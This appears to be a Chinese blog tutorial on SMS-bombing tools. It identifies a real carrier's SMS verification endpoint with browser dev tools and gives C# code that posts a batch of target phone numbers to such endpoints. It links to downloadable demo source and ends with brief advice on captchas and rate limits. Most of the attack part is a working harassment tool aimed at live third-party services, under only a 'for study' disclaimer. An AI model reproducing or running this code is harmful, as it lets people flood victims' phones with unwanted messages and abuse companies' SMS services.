短信轟炸工具原理解析
溫馨提示:本文文章緊作為學習探討,不能用於破壞攻擊用途,後果自負。文章後面有Demo源碼下載,使用C#語言開發。
相信不少人都莫名奇妙收過一些註冊驗證碼短信、登錄驗證碼短信,自己沒去註冊也沒登錄,甚至有些人無緣無故收到大量的各種網站的驗證碼短信。遇到這種情況,要麽是有人註冊填錯了號碼,要麽就是你得罪了什麽人被惡搞報復了,前者的可能性很少,填錯號碼註冊也不會收到大量的短信;後者的情況是別人利用一種叫短信轟炸機的工具轟炸你,這種工具有桌面版的,也有網頁版的,功能原理都差不多,輸入一個號碼,就可以對這個號碼狂發短信了。
在這裏建議大家不要用短信轟炸別人,害人害己,我們只作探討學習。
一、短信轟炸接口的來源
短信接口的來源都來自於各種網站的註冊、登錄時發送手機驗證碼的地方。
二、短信轟炸的原理
短信轟炸其實就是把你要轟炸的手機號碼到各種各樣的發驗證碼的地方提交請求,然後由各個網站的短信服務商給你發送驗證碼短信,所以會不斷收到各種各樣的短信,給你發送的號碼都不是同一號碼,當然不好攔截了。
三、效果預覽
先看看Demo的效果
四、網站發送短信接口分析
想要拿到一個網站的短信發送接口,當然我們得去抓這個網站的包,分析它交互的過程。這裏介紹大家個抓包工具Fiddler,用來分析客戶端和服務器之間的所有Http請求,分析請求數據、設置斷點等等,它的功能我在這裏就不多說了,好處多多。當然對於簡單的在網頁上訪問也可以利用瀏覽器自有的插件,各大瀏覽器上按F12都能看到http請求的過程。
今天我拿中國移動的登錄網站作為例子,當然中國移動的網站能發驗證碼的只有移動的手機號碼了。
1.首先打開中國移動的網站地址http://www.10086.cn,在頭部導航欄找到登錄入口,這裏我們選擇登錄網上營業廳
2.進入到登錄頁面(https://gd.ac.10086.cn/ucs/ucs/weblogin.jsps?backURL=http://gd.10086.cn/commodity/index.shtml),然後選擇動態密碼模式登錄。輸入一個手機號碼,先按F12把瀏覽器調試工具先弄出來(我這裏用的是谷歌瀏覽器),選中network模式,填一個手機號碼然後點擊獲取短信,如下圖
3.上圖中,4標註就是我們要查看的獲取短信的接口地址,點擊查看可以看到接口的地址為(https://gd.ac.10086.cn/ucs/ucs/getSmsCode.jsps),提交的方式為POST方式,拉到底下可以看到提交的參數為mobile。
五、主要代碼部分
1.定義Post請求函數,用於網頁中點擊發送短信的模擬調用
public static string PostRequest(string Url,string Str_Msg) { HttpWebRequest req = (HttpWebRequest)WebRequest.Create(Url); req.Method = "POST"; req.KeepAlive = true; req.UserAgent = "MSIE"; req.Timeout = 300000; req.ContentType = "application/x-www-form-urlencoded;charset=utf-8"; byte[] postData = Encoding.UTF8.GetBytes(Str_Msg); Stream reqStream = req.GetRequestStream(); reqStream.Write(postData, 0, postData.Length); reqStream.Close(); HttpWebResponse rsp = (HttpWebResponse)req.GetResponse(); Encoding encoding = Encoding.UTF8; Stream stream = null; StreamReader reader = null; stream = rsp.GetResponseStream(); reader = new StreamReader(stream, encoding); string result = reader.ReadToEnd(); if (reader != null) reader.Close(); if (stream != null) stream.Close(); if (rsp != null) rsp.Close(); return result; }View Code
2.短信接口調用示例
/// <summary> /// 10086接口 /// </summary> /// <param name="Phone"></param> private void Send10086Code(string Phone) { string Result_Msg = "失敗"; string Url = "https://gd.ac.10086.cn/ucs/ucs/getSmsCode.jsps"; string param = "mobile="+Phone; string result_Msg = Helper.HttpHelper.PostRequest(Url, param); if (!string.IsNullOrEmpty(result_Msg)) { //成功返回的數據 {"backUrl":"","failMsg":"成功[0]","returnCode":"1000"} if (result_Msg.Contains("成功[0]")) { Result_Msg = " 10086網站驗證碼發送成功"; } } this.BeginInvoke((Action)(delegate() { rTB_ResultMsg.Text += "號碼:" + Phone + Result_Msg + "\r\n"; btn_Send.Enabled = true; })); }View Code
3.統一調用函數
private void SendPhoneSMS(string Phone) { ((Action)(delegate() { this.BeginInvoke((Action)(delegate() { btn_Send.Enabled = false; })); bool bol=true; while (bol) { SendO2Code(Phone); Send10086Code(Phone); bol = false; } /* 這是其中兩個網站發送驗證碼 */ this.BeginInvoke((Action)(delegate() { rTB_ResultMsg.Text += "號碼:" + Phone + " 發送完畢!\r\n"; btn_Send.Enabled = true; })); })).BeginInvoke(null, null); }View Code
4.主入口,點擊發送時調用函數
private void btn_Send_Click(object sender, EventArgs e) { string phones = rTB_Phones.Text.Trim(); if (string.IsNullOrEmpty(phones)) { MessageBox.Show("請輸入手機號碼"); return; } string[] list = phones.Trim().Split(‘,‘); if (null != list && list.Length > 0) { for (int i = 0; i < list.Length; i++) { try { SendPhoneSMS(list[i]); } catch { } } } }View Code
六、論短信接口的防範
以上就是短信轟炸工具的原理,短信工具通過收集網上非常多的短信接口,轟炸工具會想所有這些接口發送請求,就會像潮水般向被攻擊手機發送短信,既然我們懂得了短信轟炸的原理,那麽我們的網站想不被惡意利用,就需要對短信發送接口采取保護措施。
針對上面的情況,和體驗了一些大平臺短信接口的方式,建議采取以下保護措施:
1.獲取短信驗證碼前,必須加入圖形校驗碼控制,或者采用問答圖形校驗,或者以滑動塊狀的形式校驗,反正就是阻撓程序自動提交的請求。
2.定期更換圖形驗證碼生成機制,以變應不變,圖形驗證碼盡量加幹擾以防OCR識別。
3針對單個手機號碼一時間段內短信發送次數
4.限定來源IP的接口請求次數或頻率
以上措施僅僅是一定程度上的保護,並非能完完全全杜絕被利用,構建和諧社會還得靠大家共同努力,如果你有更好的方法歡迎留言和大家分享一下。
溫馨提示:本文文章緊作為學習探討,不能用於破壞攻擊用途,後果自負。
Demo源碼地址:http://files.cnblogs.com/files/zknu/Knu.PhoneSMS.rar
短信轟炸工具原理解析